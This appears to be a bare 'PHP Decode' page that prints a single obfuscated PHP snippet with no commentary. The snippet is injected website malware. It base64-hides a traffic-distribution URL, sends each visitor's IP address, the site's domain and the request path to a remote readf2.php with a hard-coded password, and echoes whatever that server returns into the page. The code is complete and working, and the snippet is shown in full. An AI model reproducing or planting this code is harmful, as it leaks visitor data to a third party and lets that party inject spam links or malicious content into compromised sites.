PHP Decode

<?php $s2="aHR0cDovL3d3dy50cmFmZmljLXRkcy5jb20vbmV3LWxpbmtzL2xpbmtzLTIxLmh0bWw=";if(!function_exists('b1')){function b1($u){$ch=curl_init();$t=90;curl_setopt($ch,10002,$u);curl_setopt($ch,19913,1);curl_setopt($ch,78,$t);curl_setopt($ch,13,$t);$d=curl_exec($ch);if($d===false){$e=curl_error($ch);echo "<!-- b1 error: ".stripslashes($e)."-->";}curl_close($ch);return $d;}}if(!function_exists('a1')){function a1($p){$p=rtrim($p,'/').'/';return $p;}}if(!function_exists('f1')){function f1($str){return preg_replace("/[^a-zA-Z0-9]+/","-",$str);}}$i=$_SERVER['REMOTE_ADDR'];$p=trim(base64_decode($s2));$di=dirname($p);$fi=basename($p);$o=$_SERVER['HTTP_HOST'];$ui=$_SERVER['REQUEST_URI'];$cl=f1($o.$ui);$u=a1($di)."readf2.php"."?password=systemseo&filename=".$fi."&ip=".$i."&domain=".$o."&client=".$cl;echo "<!--read_url-->";$c=b1($u);echo $c;echo "<!--read_url ends-->"; ?>